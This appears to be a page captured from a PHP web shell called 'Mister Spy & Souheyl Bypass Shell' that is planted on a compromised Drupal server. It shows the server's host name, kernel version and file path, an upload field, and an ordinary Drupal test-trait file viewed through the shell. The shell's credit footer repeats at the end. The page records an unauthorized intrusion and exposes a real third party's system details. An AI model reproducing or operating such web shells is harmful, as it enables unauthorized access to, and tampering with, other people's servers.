Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/ift/web/core/tests/Drupal/Tests/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/ift/web/core/tests/Drupal/Tests/DeprecatedModulesTestTrait.php

<?php

namespace Drupal\Tests;

/**
 * Provides methods remove deprecated modules from tests.
 */
trait DeprecatedModulesTestTrait {

  /**
   * List of deprecated modules names to not be enabled for tests.
   *
   * @var array
   */
  protected $deprecatedModules = ['block_place'];

  /**
   * Flag to exclude deprecated modules from the tests.
   *
   * Legacy*Test -test may set this to FALSE to include also deprecated
   * modules for tests.
   *
   * @var bool
   */
  protected $excludeDeprecated = TRUE;

  /**
   * Removes deprecated modules from the provided modules.list.
   *
   * @param array $modules
   *   Array of modules names.
   *
   * @return array
   *   The filtered $modules array.
   */
  protected function removeDeprecatedModules(array $modules) {
    return $this->excludeDeprecated ? array_diff($modules, $this->deprecatedModules) : $modules;
  }

  /**
   * Overrides \Drupal\KernelTests\KernelTestBase::enableModules().
   *
   * For kernel tests this override will ensure that deprecated modules are not
   * enabled if \Drupal\Tests\DeprecatedModulesTestTrait::$excludeDeprecated
   * is set to true.
   */
  protected function enableModules(array $modules) {
    parent::enableModules($this->removeDeprecatedModules($modules));
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net